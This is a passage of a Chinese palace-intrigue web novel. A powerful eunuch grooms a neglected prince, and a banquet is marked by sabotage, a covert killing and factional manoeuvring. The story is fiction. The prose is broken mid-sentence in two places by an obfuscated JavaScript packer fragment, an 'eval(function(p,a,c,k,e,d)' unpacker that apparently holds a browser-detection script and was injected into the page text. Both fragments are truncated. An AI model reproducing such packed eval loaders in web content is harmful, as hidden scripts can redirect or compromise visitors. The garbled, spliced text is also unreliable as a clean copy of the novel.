步青云站在门口，依旧是一身绯红蟒袍，面色苍白，眼神平静。见到魏祚，她微微颌首：“殿下请进。” 值房里温暖如春，炭火在铜盆里噼啪作响。案几上堆满奏折，朱笔搁在砚台边，笔尖的朱砂还未干透。 “殿下坐。”步青云亲自倒了杯热茶。 魏祚坐下，双手捧着茶杯，指尖微微发颤。他鼓起勇气抬眼，对上步青云的目光。 “殿下找我，有事？”步青云问。 魏祚深吸一口气，从怀中取出那本书，翻开有批注的那一页，推到对方面前。 “这些批注……是公公写的吗？” 步青云看了一眼，点头：“是。” “为什么？”魏祚问，“为什么要给我看这些？为什么要……来找我？” 他问的直接，问的莽撞，却也问得真诚。 步青云沉默地看着他，许久，才缓缓开口：“殿下可知道，下棋的人，最需要什么？” 魏祚摇摇头。 “不是棋子，而是变数。”步青云说，“一颗无法预测的棋子，往往能改变整盘棋的走向。” “我是那颗棋子？” “或许是。”步青云端起茶盏，轻啜一口，“也或许不是。这要看殿下的选择。” “什么选择？” 步青云放下茶盏，目光如炬：“选择继续做一颗任人摆布的棋子，还是……成为执棋的人。” 魏祚心跳骤停。 执棋的人……他从未想过。十六年来，他想的只是如何活下去，如何不被人注意，如何在这个深宫中苟延残喘？ 成为执棋的人？凭什么？凭他宫女之子的身份？凭他一无所有的处境？ “我……做不到。”他听到自己说。 “做不到，还是不敢？”步青云步步紧逼，“殿下，你娘是怎么死的，你不想知道真相吗？你这些年受的冷眼欺辱，你不想讨回来吗？甘心一辈子困在西偏殿，等到新帝登基，被一杯毒酒了结余生吗？” 每一个问题，都像一把刀，扎进魏祚心里。 他握紧拳头，指甲陷进掌心。 “为什么是我？”他抬头，眼中泛起血丝，“我无权无势，无才无德，公公为何要选我？” 步青云看着他，忽然笑了。那笑容很淡，却带着说不出的复杂。 “因为，”她说，“一无所有的人，才敢赌上一切。” 值房里，炭火正旺。一个权倾朝野的太监，一个不受宠的皇子，相对而坐。 4. 第 4 章 隆庆二十七年腊月初八。 皇宫上下弥漫着甜糯的粥香，御膳房从三更天就开始熬制腊八粥，百种食材在巨大的铜锅里翻腾热气蒸腾如云雾。 西偏殿里，魏祚却毫无胃口。 孙嬷嬷正手忙脚乱地为他整理衣袍。 一件半旧的靛蓝皇子常服，袖口已有些磨损，领口的花纹也暗淡了。这是魏祚唯一一件穿能穿得出去的衣裳，还是三年前内务府按例发放的，这些年他个子长了，衣袍便显得短小局促。 “这……这可怎么好？”嬷嬷急的眼圈发红，“腊八宴上那么多贵人，殿下穿成这样，定要被人笑话。” “无妨。”魏祚看着镜中的自己，面色平静，“就这样吧。” “可……” “嬷嬷，”他打断她，“一见衣裳改变不了什么，他们若要看不起我，穿龙袍也是看不起。” 话虽如此，他还是仔细抚平衣襟上的褶皱，又用湿帕子擦了擦脸。镜中的少年面容清秀苍白，眼神却比一个月前坚定许多。 这一个月，他去了司礼监三次。 第一次是送还那本书，顺便请教了几个读书时遇到的疑惑。步青云耐心解答，末了又给了他一本书，同样有朱笔批注。 第二次是腊月初一，他去时步青云正在批红，他便在一旁静静等待。那日司里监来了几个官员述职，见到他在场，神色各异。步青云却似浑然不觉，依旧从容处理公务。 第三次是昨日，腊月初七。步青云给了他一个小册子，上面写着腊八宴的注意事项。 谁坐什么位置，该行什么礼，该说什么话，不该说什么话，一清二楚。 “殿下只需记住，”步青云当时说，“少说，多看，多听。若有人问起你，就说病体初愈，一切安好。若有人提起往事，就说记不清了。” “如果他们不信呢？” “那就让他们不信。”步青云抬眼看他，“殿下，在这宫里，真话假话都不重要，重要的是你站在谁那边。” 魏祚似懂非懂，但还是将那册子背的滚瓜烂熟。 “殿下，该动身了。”孙嬷嬷的声音将他拉回现实。 时辰到了。 魏祚深吸一口气，推开门。寒风扑面而来，他打了个寒颤，却挺直了背脊。 乾清宫的暖阁里已坐满了人。 皇帝隆庆帝尚未驾临，太后也还未到，但后妃、皇子公主、宗亲们已基本到齐。暖阁内炭火烧的旺，熏香浓郁，女眷们的环佩叮当，男人们的谈笑声此起彼伏，一派和乐融融的景象。 魏祚踏进暖阁时，热闹的声音骤然一静。 几十道目光齐刷刷投来，有好奇，有探究，有轻蔑，也有漠然。他感到那些目光像针一样扎在身上，刺的他几乎要转身逃走。 但他没有逃。 他垂下眼，按照步青云教的那般，走到皇子席位的最末，向几位兄长行礼。 “十八弟来了。”说话的是五皇子魏祥，生母是个嫔，在皇子中地位也不高，但对魏祚来说已是需要仰望的存在。 “五哥。”魏祚低声道。 “听说你前阵子病了，可大好了？”魏祥语气温和，眼中却没什么温度。 “谢五哥关心，已大好了。” “那就好。”魏祥不再多言，转回头与身旁的六皇子说话。 魏祚默默坐下，位置在最角落，紧挨着柱子，几乎被阴影笼罩。这样也好，他想，不起眼才安全。 他抬眼打量四周。 正上方是龙椅，空着。左侧是后妃席位，为首的是周贵妃，今日一身绯红宫装，满头珠翠，正与旁边的贤妃说笑。右侧是皇子公主席，太子魏衸坐在首位，一声杏黄常服，正与三公主低声交谈。再往下是几位亲王、郡王。 忽然，魏祚的目光定住了。 皇子席次席，坐着七皇子魏禄。周贵妃所出，此刻众星捧月。正与几个宗室子弟说笑，眉眼间尽是娇纵。 就是他。 魏祚攥紧了袖中的手。周贵妃害死了他娘，而魏禄是周贵妃的儿子，是既得利益者。这笔账，该不该算？ “皇上驾到——太后驾到——” 太监尖细的嗓音响起，暖隔里瞬间安静。所有人都起身跪拜。 隆庆帝在太监搀扶下走进来，脸色比前些日子更差，蜡黄中透着清灰。太后李氏紧随其后，一身明黄朝服，雍容华贵。 “平身。”隆庆帝的声音嘶哑无力。 众人起身落座，魏祚抬起头，第一次在这么近的距离看到他的父皇。 衰老，疲惫，眼中布满血丝，却仍有一种属于帝王的威严。隆庆帝的目光扫过众人，在魏祚身上停顿了一瞬，眼中闪过什么，快的让人抓不住。 是疑惑？是陌生？还是……根本就没认出他是谁。 魏祚垂下眼，心中涌起一股难言的酸涩。 “开宴吧。”隆庆帝摆了摆手。 宫人们鱼贯而入，奉上腊八粥及各色点心。暖阁内又恢复了热闹，但比之前拘谨许多，说话声都压低了。 魏祚默默吃着面前的粥，食不知味。他能感觉到，有几道目光始终落在他身上。 一道来自太后。那位今日的主角之一，目光审视，带着探究。 一道来自周贵妃。带着警告，也带着一丝玩味。 还有一道……来自太子魏衸。那目光温和却深沉，像在打量一件值得琢磨的器物。 “十八弟。” 忽然，一个声音在耳边响起。 魏祚抬头，对上一张温和含笑的脸。 是太子魏衸，不知何时走到了他身边。 “太子殿下。”他慌忙要起身行礼，被魏衸按住了肩膀。 “不必多礼。”魏衸在他身旁的空位坐下，“许久不见，十八弟长高了不少。” “谢殿下关心。”魏祚垂眸。 “前些日子听说你病了，可请太医看过？”魏衸语气关切，“若是缺什么药材，只管跟我说。” “已无大碍，劳殿下挂心。” “那就好。”魏衸顿了顿，压低声音，“步公公……去找过你？” 魏祚心中一紧，面上却不敢显露：“是，奉太后之命来看望。” “哦？”魏衸挑眉，“只是看望？” “还……还送了些书。” “书？”魏衸笑了，“步公公倒是风雅。都送了些什么书？” 魏祚说了几本常见的经史子集，略过了那两本书。 魏衸听着，眼中闪过一丝什么，快得让人捉摸不透。他拍了拍魏祚的肩：“读书是好事，但也要注意身子。若有什么不懂的，可以来东宫找我。” “谢殿下。”魏祚低声道。 “对了，”魏衸起身，像是忽然想到什么，“听说你字写的好？改日写幅字送我如何？” “殿下过誉了，臣弟的字……” “就这么定了。”魏衸不给他推辞的机会，转身回了自己的席位。 魏祚望着他的背影，心头涌起一股寒意。太子的每一句话都温和亲切，可字里行间，都是试探。 他想起步青云的话：这宫里，没人会无缘无故对你好。 “十八弟与太子殿下倒是亲近。” 又一个声音响起，这次是七皇子魏禄。他不知何时凑了过来，手中端着酒杯，脸上带着特有的张扬笑意。 “七哥。”魏祚起身行礼。 “坐坐坐，不必多礼。”魏禄在他对面坐下，上下打量他，“听说你病了，我看你这气色，确实不太好。要不要我让母妃给你送些补药？母妃宫里多的是上好的药材。” 这话说的大声，周围几个人都看了过来。 魏祚感到周贵妃的目光也投了过来，带着警告。 “谢七哥好意，不必麻烦了。”他低声道。 “麻烦什么，都是一家人。”魏禄笑着，眼中却没有笑意，“对了，我听说你娘许选侍当年字写得也好？可惜啊，红颜薄命。” 暖阁内的空气骤然一冷。 周围的谈笑声低了，许多目光若有若无的瞟向这边。魏祚感到血液冲上头顶，又瞬间冷却。他死死攥着拳头，指甲几乎嵌进掌心。 不能动怒。不能失态。步青云说过，这种场合，谁先动怒谁就输了。 他抬起眼，看着魏禄，努力让声音平稳：“家母微末之人，不敢劳七哥记挂。” 魏禄显然没料到他这般反应，愣了一下，随即笑了：“十八弟倒是孝顺。”他站起身，拍了拍衣袍，“行了，你好好养病吧，缺什么跟我说。” 他转身离开，走到周贵妃身旁时，母子俩交换了一个眼神。 魏祚缓缓松开拳头，掌心已被掐出血痕。他端起面前的茶盏，手却在微微发抖。 “殿下。” 一个熟悉的声音在身后响起。 魏祚浑身一颤，回头，看到步青云不知何时站在了他身后。她依旧一身绯红蟒袍，面色平静。 “步公公……”他低声道。 “殿下的茶凉了奴才给您换一盏。”步青云接过他手中的茶盏，递给身后的小太监，又亲自斟了杯热茶，“小心烫。” 她的动作自然流畅，仿佛只是寻常侍奉。 但在场所有人都看到了。 司礼监掌印太监，亲自给十八皇子斟茶。 这意味着什么？ 暖阁内的气氛变得更加微妙。周贵妃眯起了眼，太后撵着佛珠的手顿了顿，太子魏衸则垂下眼，看不清神色。 “谢公公。”魏祚接过茶盏，指尖触到步青云的手指，冰凉。 “殿下客气。”步青云退后半步，声音不高不低，却能让周围几个人听见，“太后方才还问起殿下，说殿下身子弱，若不适可早先回去歇息。” 这是在给他解围，也是在告诉所有人。太后关注着这个皇子。 魏祚心中引起复杂的情绪。感激？不全是更。多的是警惕。 步青云在利用他，他也在利用步青云。这种互相利用的关系，脆弱的像冰，一碰就碎。 但他别无选择。 “代我谢太后关心。”他说。 步青云颔首，转身离去，仿佛真的只是来传句话。 可她这一来一去，却像是在平静的湖面投下石子，激起圈圈涟漪。 宴席继续。 他默默坐着，努力降低自己的存在感，却知道自己再也回不去了。从踏入这个暖阁的那一刻起，从步青云给他斟茶的那一刻起，他就被推到了台前。 腊八宴进行到一半时，出了件意外。 一个小太监上菜时脚下一滑，整盘热汤泼在了五皇子魏祥身上。虽未烫伤，但那身崭新的蟒袍却毁了。 “蠢货！”魏祥大怒，一脚踹在小太监心口。 小太监惨叫一声，滚倒在地，汤汁溅了一身。魏祥还不解气，又要再踹，却被太子拦住了。 “五弟，大过节的，何必动怒。”魏衸温声劝道，“我赔你件新袍子便是。” 魏祥这才作罢，但脸色依旧难看。那小太监被人拖了下去，经过魏祚身边时，他看到了那张惨白的脸，还有眼中的绝望。 在宫里，犯这样的错，不死也要脱层皮。 魏祚心头一紧，忽然想起步青云的话：在这宫里，人命最不值钱。 “皇上！皇上你怎么了？” 一声惊呼打断了宴席。 众人望去，只见龙椅上的隆庆帝面色青紫，捂着胸口剧烈咳嗽，几乎喘不上气。太后慌忙起身，周贵妃也扑了过去，暖阁内顿时乱做一团。 “传太医！快传太医！” 太监宫女们乱跑乱撞，后妃们惊慌失措，皇子们面面相觑。只有太子魏衸还算镇定，一边指挥人扶隆庆帝去偏殿，一边安抚众人。 混乱中，魏祚感到一道目光落在他身上。 他抬眼，看到步青云站在人外，静静看着他，眼中没有任何情绪，仿佛这一切都与他无关。 然后，步青云的嘴唇动了动，无声的说了一个字。 “等。” 等什么？ 魏祚不明白，但他点了点头。 混乱持续了半个时辰，太医赶来诊治，说是急火攻心，需静养。隆庆帝被抬回寝宫，太后跟了过去，宴席不欢而散。 众人陆续离席，魏祚也起身，准备离开。 “十八弟留步。” 又是太子。 “殿下有何吩咐？”魏祚停步。 魏衸走到他面前，看着他，许久，忽然叹了口气：“今日之事，你都看到了。” 魏祚不解。 “父皇的身体……每况愈下。”魏衸压低声音，“这宫里，很快就要变天了。” 魏祚心头一跳，不敢接话。 “十八弟，”魏衸拍了拍他的肩，“你是个聪明人，该知道在哪边。东宫的大门，永远为你敞开。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顺子想了想，谨慎道：“泼汤像是意外，但小太监死的太快，不寻常。皇上犯病……太医说是急火攻心，可皇上今日并未动怒。” “所以，都不是意外。”步青云走到炭火盆，伸手烤火，“有人想让这潭水，更浑一些。” “掌印的意思是……” “太子，贵妃，太后，甚至……”步青云顿了顿，“还有其他我们不知道的人。” 顺子倒吸一口凉气：“那十八皇子他。” “他现在是焦点。”步青云看着跳跃的火焰，“所有人都盯着他，想看看这颗棋子，会落在谁手里。” “那我们……” “我们？”步青云笑了，笑容里带着冷意，“我们当然是，把他握在自己手里。” 她走回案前，铺开纸笔，开始写信。 信是写给远在江南的一位故人。 准确说，是他兄长生前的至交，如今在江南经商，暗中为她提供资金与人脉。 “腊八宴变，棋局已开。棋子入局，执棋者众。速查三事:一、徐宫女入宫前事；二、十八皇子出生前后宫异动。三、陆炳与太后关系深浅。” 写完信，她用腊封好，交给顺子：“老规矩。” “是。”顺子接过信，迟疑了一下，“掌印，十八皇子那边……要不要再添把火？” “不必。”步青云摇头，“火已经够旺了。现在要做的，是让他自己选择，要不要往火里跳。” 顺着似懂非懂，退下了。 步青云独自坐在值房里，烛火将她的影子投在墙上，拉的很长。她想起宴席上，魏祚被魏禄衅挑时的表情。 那种强压怒火的平静，那种隐忍不发的狠劲。 像极了她当年，躲在书堆里，看着亲人一个个倒下的样子。 “魏祚，”她轻声自语，“你可千万别让我失望。” 五皇子魏祥在寝宫里大发雷霆，摔碎了所有能摔的东西。他认定今日之事是有人要害他，而最大的嫌疑是就是七皇子魏禄，或者说是周贵妃。 长春宫里，周贵妃独自坐在镜前卸妆。镜中的女人依旧美艳，眼角却已有了细纹。 “娘娘，”心腹宫女低声禀报，“那小太监……处理干净了。” “嗯。”周贵妃应了一声，拿起梳子慢慢梳头，“太子今日拉拢十八皇子了？” “是，宴后单独说了话。” “呵，动作倒是快。”周贵妃冷笑，“一个宫女生的贱种，也值得他这般费心？” “娘娘，要不要……” “不必。”贵妃放下梳子，“让他去拉拢。本宫倒要看看，这个十八皇子，到底有什么特别之处。” 慈宁宫里，太后李氏跪在佛前，手中捻着佛珠，口中念念有词。嬷嬷在一旁候着，不敢打扰。 许久，太后睁开眼：“皇帝怎么样了？” “太医说已无大碍，但需静养。”嬷嬷低声道，“太后，今日宴上，步青云给十八皇子斟茶……” “哀家看到了。”太后打断她，“这个步青云，心思越来越深了。” “那十八皇子他……” “且看看吧。”太后起身，走到窗前，“棋子也好，变数也罢，总得先上了棋盘，才知道是黑是白。” 东宫里，太子魏衸正在与幕僚密谈。 “今日之事，殿下怎么看？”幕僚问。 “有人在搅浑水。”魏衸把玩着手中的玉佩，“五弟被泼汤，父皇犯病，都太巧了。” “会是贵妃吗？” “不像。”魏衸摇头，“贵妃若有这手段，早就动手了，何必等到今天。” “那……” “查。”魏衸眼中闪过一丝厉色，“查今日所有进出御膳房、乾清宫的人。还有盯紧十八皇子。” “殿下真要拉拢他？” “不是拉拢，是试探。”魏衸笑了，“步青云选中的人，总该有些特别之处。本宫倒要看看，他配不配当这颗棋子。” 而西偏殿里，魏祚坐在窗前，看着漫天飞雪。 这宫里，每一步都是陷阱，每句话都是算计。 他想起娘亲的遗言：好好活着，别报仇。 可是娘，若连活着都如此艰难，我该如何是好？ 雪越下越大，将整个皇宫笼罩在素白之下，掩盖了所有污秽与血腥。 但魏祚知道，雪终会融化。 他握紧了手中的书。 5. 第 5 章 腊月十五，大雪又至。 晨钟敲过三响，魏祚裹着半旧的斗篷踏出西偏殿。雪沫子打在脸上，像细针扎过。他紧了紧衣还衣襟，沿着宫墙的阴影出快步走着。 这是步青云教他的，少走明处，多行暗路。 司礼监在东华门内，距西偏殿有小半时辰的路程。一路上，魏祚遇到几波扫雪的太监，他们都停下手里的活计垂手行礼，眼神却在他的背影消失后迅速交换着。 “十八皇子又去司礼监了。” “步掌印这是真要栽培他？” “难说……一个宫女生的……” 低语被风雪吹散。魏祚只当没听见，脚步却越发沉稳。他知道自己在被人议论，但这议论，正是步青云想要的效果。 让所有人知道，十八皇子与掌印太监走的近。至于这近是好是坏，让他们猜去。 司里监的朱红大门虚掩着，门口的石狮顶着厚厚的雪帽。魏祚抬手敲门，三轻一重。 这是约定的暗号。 门开了条缝，顺子的脸探出来：“殿下请进，掌印在二堂等你。” 穿过前院时，魏祚注意到院中多了几个生面孔。都是年轻太监，穿着青色棉服，垂手立在廊下，见他进来，齐刷刷躬身行礼，动作整齐的像一个人。 “这些是……”他低声问顺子。 “掌印新挑的人，在学规矩。”顺子答的简单，脚下不停。 二堂比前院更安静。这里原是司礼监存放档案的地方，如今被步青云改成了书房。四壁书架高耸，堆满中卷宗典籍，正中一张紫檀木大案，步青云正坐在案后批阅奏折。 听到脚步声，她抬起头。 今日她未穿蟒袍，一身靛蓝常服，外罩玄色比甲，头发用一根白玉簪子绾起，素净得不像权倾朝野的掌印太监，倒像个寒窗苦读的书生。 “殿下坐。”步青云指了指案前的椅子，又对顺子道：“去泡壶热茶来，要蒙顶甘露。” 魏祚依言坐下，目光落在案上摊开的奏折上。那是江西巡抚的折子，奏报今冬雪灾，请求朝廷拨银赈灾。折子上朱批已写了一半：“着户部速议，不得延误。” 字迹凌厉，力透纸背。 “殿下可看得懂？”步青云问。 魏祚老实摇头：“只知是赈灾的事，具体如何，不懂。” “那便学。”步青云将奏折推到他面前，“这是江西巡抚的折子。江西今冬连降大雪，十三州县受灾，民房倒塌两千余间，冻死百姓三百余人。巡抚请拨银五十万两，粮食十万石。” 她顿了顿，从案头抽出一本册子：“这是户部上个月呈报的国库收支。殿下自己看，这五十万两，拨的还是不拨。” 魏祚接过册子，翻开。密密麻麻的数字让他眼晕，但他还是耐着性子一页页看下去。越看，眉头皱的越紧。 隆庆二十七年，国库岁入银八百万两，岁初九百五十万两，已经亏空一百五十万两。其中军费占四成，官员俸禄占两成，宫廷用度占一层，其余杂项占三层。而江西一省就要五十万两…… “国库空虚，拨不出这么多。”他得出结论。 “那灾民怎么办？”步青云问。 “这……”魏祚语塞。 步青云从案下又取出几本折子：“这是江西布政使的折子，说灾情可动用地方存粮。这是江西按察使的折子，说可向富户募捐。这是江西都指挥使的折子，说军中可拨出部分军粮。” 她将折子一字排开：“殿下觉得，该听谁的？” 魏祚一一翻看，越看越心惊。同样是江西的事，几个官员的说法天差地别。巡抚要钱，布政使说不用，按察史说募捐，指挥使说用军粮……到底谁说的是真话？ “他们……是不是在互相推诿？”他试探着问。 步青云笑了：“殿下看出门道了。”她点了点那几本折子，“江西巡抚是徐阁老的门生，布政使是太后的远亲，按察使是太子举荐的，都指挥使是陆炳的旧部。这四个人，代表四股势力。” 魏祚恍然：“所以赈灾是假，争权是真？” “半真半假。”步青云靠回椅背，“灾情是真的，但怎么赈，谁主事，谁出钱，这里面就是文章了。若让巡抚主事，银子从户部出，徐阁老就是多了条财路。若让布政使主事，动用地方存粮，太后的人就掌控了江西粮仓。若让按察使募捐，太子就能借机拉拢江西士绅。若用军粮……陆炳的手就伸到了江西驻军。” 一番话说的魏祚冷汗涔涔。他从前读书，只知“民为贵，社稷次之，君为轻”，却不知这简单的赈灾背后，竟有如此复杂的权谋算计。 “那……到底该怎么定？”他问。 “怎么定？”步青云提笔，在那本江西巡抚的折子上去写朱批，“着江西巡抚、布政使、按察使、都指挥使司人会同办理，各司其职，不得推诿。所需银两，户部拨二十万，地方自筹二十万，余下十万由内帑出。” 写罢，她放下笔：“殿下明白了吗？” 魏祚仔细想了想，忽然明白了：“公公……这是让他们互相牵制？” “不错。”步青云颔首，“四个人，四条心，谁也别想独吞。户部、地方、内帑各出一部分，谁也别想置身事外。如此一来，事情办了，权力也平衡了。” 魏祚心中震撼。这简单的几句话，看似和稀泥，实则将各方势力都拉下水，互相监督，互相制衡。既办了实事，又维持了朝廷稳定。 “可是……”他迟疑道，“这样会不会效率太低？四个人互相扯皮，灾民等得起吗？” 步青云看着他，眼中闪过一丝赞许：“殿下能想到这层，很好。”她话锋一转，“但殿下要明白，在朝廷上，有时候‘办成事’不如‘不出事’四个人扯皮，最多办的慢些。但若让一方独大，就可能生出更大的祸端。” 她顿了顿，声音转冷：“比如，若让江西巡抚独揽赈灾大权，五十万两银子下去，有多少能到灾民手里？十万？五万？还是更少？到时候，灾民没救成，银子进了个人腰包，朝廷还要背骂名。与其如此，不如让他们互相盯着，谁也不敢伸手太狠。” 魏祚沉默了。他想起腊八宴上那个被拖走的小太监，想起五皇子暴露的脸，想起父皇咳血的样子……这宫里宫外，哪有什么分黑白分明，不过是权衡利弊罢了。 “殿下，”步青云的声音将他拉回现实，“今日这第一课，我要你记住三句话。” 魏祚正襟危坐：“公公请讲。” “第一，朝堂之上，没有对错，只有利弊。” “第二，权力之道，在于制衡。让底下的人斗，你才能坐得稳。” “第三，”步青云看着他，一字一句，“心要狠，手要稳。该杀时绝不手软，该忍时绝不冒头。” 三句话，像三把重锤，敲在魏祚心上。 他忽然想起那本书里的一句话：“夫权者，天下之利器也。得之者生，失之者死。”从前他不懂，现在，好像懂了一些。 “记下了。”他说。 步青云点点头，从案头拿起另一本奏折：“今日的功课。这是河南道监察御史弹劾彰德之府的折子，殿下看看，该如何批。” 魏祚接过，细细读起来。折子上说，彰德知府贪赃枉法，强占民田，草菅人命，证据确凿，请朝廷严惩。 看起来很简单，该杀。但他想起步青云的话，没有对错，只有利弊。 “这位彰德知府……是什么背景？”他问。 步青云眼中闪过一丝笑意：“他是周贵妃的表兄。” 魏祚手一抖，奏折差点掉在地上。周贵妃的表兄……那就是七皇子魏禄的舅父。难怪证据确凿却要递到司里监，这是烫手山芋。 “那这……” “殿下觉得该怎么批？”步青云不答反问。 魏祚陷入沉思，若按律法，该杀。但杀了，就得罪了周贵妃，得罪了七皇子。若不杀，朝廷法度何在？御史那边如何交代？ 他想了许久，忽然灵光一现：“公公，这折子……为何是河南道监察御史所上？彰德府属直隶，不该是直隶监察御史管吗？” 步青云挑眉：“殿下看出了问题？” “是。河南道监察御史越界弹劾，要么是确有实据、义愤填膺，要么……”魏祚顿了顿，“是受人指使，故意为之。” “说下去。” “若是前者，此人正直敢言，可嘉。若是后者……”魏祚脑中飞速转动，“那指使他的人，是想借此是打击贵妃一党。会是谁？太子、还是太后？” 步青云笑了，这次是真心的笑：“殿下进步很快。”她点了点奏折，“这个河南道监察御史，是徐阁老的门生的门生。而徐阁老，最近与太子走得很近。” 魏祚恍然：“所以是太子想动贵妃的人？” “不错。”步青云道，“但太子聪明，不自己出面，让底下人上折子。成了，削弱贵妃势力。不成，也怪不到他头上。” “那我们现在……” “我们现在，”步青云提笔，在奏折上批了几个字，“着都察院核查，据实以闻。” “不表态？” “不表态。”步青云放下笔，“让都察院去查。都察院左督御史是太后的人，右都御史是徐阁老的人。让他们斗去，我们坐山观虎斗。” 魏祚心中佩服。这手太极打的漂亮，既不得罪任何一方，又把问题抛了出去。更重要的是，通过此事，能看清都察院内部的力量对比，看清太后与徐阁老的博弈。 “殿下，”步青云看着他，“你要记住，在局势不明朗时，最好的选择是不选择。让箭飞一会儿，看它落在哪里。” 魏祚重重点头。 接下来的一个时辰，步青云又给他讲了几个案例。有官员任免的，有军费拨付的，有科举取士的……每一个案例背后，都是盘根错节的利益关系，都是你死我活的权力斗争。 魏祚听得认真，时不时提出问题。他发现，步青云虽然手段狠辣，但对朝政的理解极其深刻，对人心、对权力的把握精准的可怕。 “公公，”他忍不住问，“这些都是您这些年自己琢磨出来的？” 步青云的手顿了顿许，久才道：“有些是，有些……是拿命换来的。” 魏祚心中一凛，不敢再问。 申时末，功课结束。顺子近来添茶，低声禀报：“掌印，陆指挥史来了，在前院等着。” 陆炳？魏祚脸色微变。 步青云却神色如常：“请他到前堂稍坐，我马上就来。”她转向魏祚，“殿下今日先回吧。记住，回去后将今日所学默写一遍，明日我要查。” “是。”魏祚起身，犹豫了一下，“公公，陆指挥使他……” “殿下不必担心。”步青云淡淡道，“他是来找我谈事的，与你无关。” 话虽如此，魏祚走出二堂时，还是忍不住往前院看了一眼。透过月洞门，他看到陆炳坐在前堂的太师椅上，一身飞鱼服，腰佩绣春刀，正慢条斯理地品茶。 似是感到目光，陆炳忽然抬头，正好与魏祚视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“腊八宴上，五皇子被泼汤的事，步掌印可还记得？” “自然记得。” “本官查了。”陆炳盯着他，“那个小太监，死前见过一个人。” 步青云心头一跳，面上不动声色：“谁？” “司礼监的人。”陆炳一字一句，“一个叫顺子的小太监。” 堂内死寂。 炭火爆出个火星，落在砖地上，很快熄灭。步青云端起茶盏，轻轻吹了吹水面浮叶，动作从容不迫。 “指挥使这是什么意思？怀疑是奴才指使的。” “本官没说。”陆炳笑了，“只是觉得奇怪，司里监的人为何要见一个长春宫的小太监，还偏偏在腊八宴前宴？” 步青云抿嘞口茶，放下茶盏：“指挥使既然查了，就该查清楚。顺子那日去见小福子。是奉了奴才的命，去问腊八宴的菜单。皇上近来食欲不振，奴才想看看有没有合口的菜。这事，御膳房可以作证。” 他说的滴水不漏，陆炳一时也找不出破绽。 “原来如此。”他皮笑肉不笑，“那倒是本官多心了” “指挥使也是职责所在。”步青云道，“不过，奴才倒是好奇，那小太监的死……指挥使可查出什么了？” 陆炳脸色一沉：“伤重不治，有什么好查的？” “是吗？”步青云挑眉，“可奴才听说，小太监身上除了板子伤，还有别的伤。颈后有淤痕，像是被勒过。” 陆炳瞳孔一缩：“步掌印从哪听说的？” “这宫里，没有不透风的墙。”步青云淡淡道，“指挥使，咱们都是为朝廷办事。有些事，点到为止就好。查得太深，对谁都不好，您说呢？” 这话是警告，也是威胁。陆炳盯着他，眼中杀机一闪而过，但最终，他还是笑了。 “步掌印说的对。”他起身，“是本官冒昧了。告辞。” “慢走不送。” 陆炳走到门口，忽又停住，回头：“步青云，有句话本官得提醒你。这宫里水深，别站错了队。否则，怎么死的都不知道。” “多谢指挥使提醒。”步青云起身，微微颔首，“奴才也送指挥使一句话，多行不义必自毙。指挥使这些年做的事，自己心里清楚。” 两人目光再次碰撞，火星四溅。 最终，陆炳冷哼一声，拂袖而去。 顺子从屏风后转出来，脸色发白：“掌印，他……” “他起疑了。”步青云走到窗前，看着陆炳远去的背影，“但没关系，他查不出什么。” “可是小福子的死……” “小福子必须死。”步青云转身，眼神冰冷，“他知道得太多了。” 顺子打了个寒颤，不敢再问。 窗外，风雪漫天。步青云望着西偏殿的方向，许久，喃喃自语： “魏祚，这第一课，你学的如何了？” 有些事，她没交。比如为了达到目的，有时候需要牺牲一些人。 比如那个小太监。 那没关系，这些，他迟早会懂。 在这深宫里，慈悲是奢侈，善良是毒药。要活下去，要往上爬，就必须心狠。 这是她花了八年，用鲜血和生命换来的教训。 现在，她要一点一点，教给他。 6. 第 6 章 “皇上那边怎么样了？”她换了个话题。 顺子脸色凝重：“不太好。陈太医私下说皇上咳血的次数越来越多，有时候痰里还带着血块。用的药倒是名贵，人参、鹿茸、灵芝……什么补用什么，可身子却一天比一天虚。” “虚不受补。”步青云冷笑，“陈太医是太后的人，他开的药，自然是怎么补怎么来。” “那咱们……” “咱们什么都做不了。”步青云打断他，“现在动手，等于告诉所有人，我们知道皇上被下药。打草惊蛇，得不偿失。” 顺子急了：“可再这么下去，皇上怕是……” “怕是什么？”步青云抬眼，眼神锐利，“顺子，你跟了我八年，还没看明白吗？在这宫里，有时候死得快反而是种解脱。” 顺子浑身一颤，不敢再言。 步青云收回目光，看向窗外。 隆庆帝，她的杀父仇人之一。 虽然当年下旨的是先帝，但执行的是隆庆帝。楚家一百三十七口，男丁斩首，女卷充作官妓，家产抄没……每一笔血债她都记在心里。 所以隆庆帝是死是活，她并不在意。她在意的，是他什么时候死，怎么死，以及……死后谁能坐上那个位置。 “太子那边有什么动静？”她问。 “太子这几日闭门读书，不见外客。”顺子顿了顿，“但东宫詹事李延年去了徐阁老府上三次，每次都是深夜。” 深夜密谈，所图非小。 “贵妃呢？” “贵妃……”顺子面色古怪，“贵妃这几日都在御花园赏梅，还邀了各宫嫔妃一起。听说……还特意给西偏殿送了帖子。” 步青云挑眉：“给十八皇子？” “不，是给孙嬷嬷。”顺子道，“说是请嬷嬷去赏梅，实则上是打听十八皇子的事。问殿下平日读什么书，写什么字，喜欢吃什么，有没有什么特别的习惯……” 步青云笑了，“周贵妃这是急了。太子拉拢十八皇子，太后也在观望，她自然坐不住。” “那咱们……” “不用管。”步青云道，“让她们打听去。十八皇子越神秘，他们越好奇，越好奇，就越会往深里挖。” 顺子不解：“可挖深了，万一挖出什么……” “挖出什么？”步青云反问，“一个宫女生的皇子，无依无靠，无权无势，能挖出什么？她们挖的越深，就越会发现，这就是颗干净的棋子，谁都能用，谁都想用。” 顺子恍然：“掌印是想……让他们争？” “鹬蚌相争，渔翁得利。”步青云提笔，在纸上写下字，“现在，我们要做的，就是让这把火烧得更旺一些。” “怎么烧？” 步青云没有回答，而是从案头抽出一份奏折：“这是河南都指挥使的折子，奏请增设边防军饷。你找人抄一份，送到陆炳手里。” 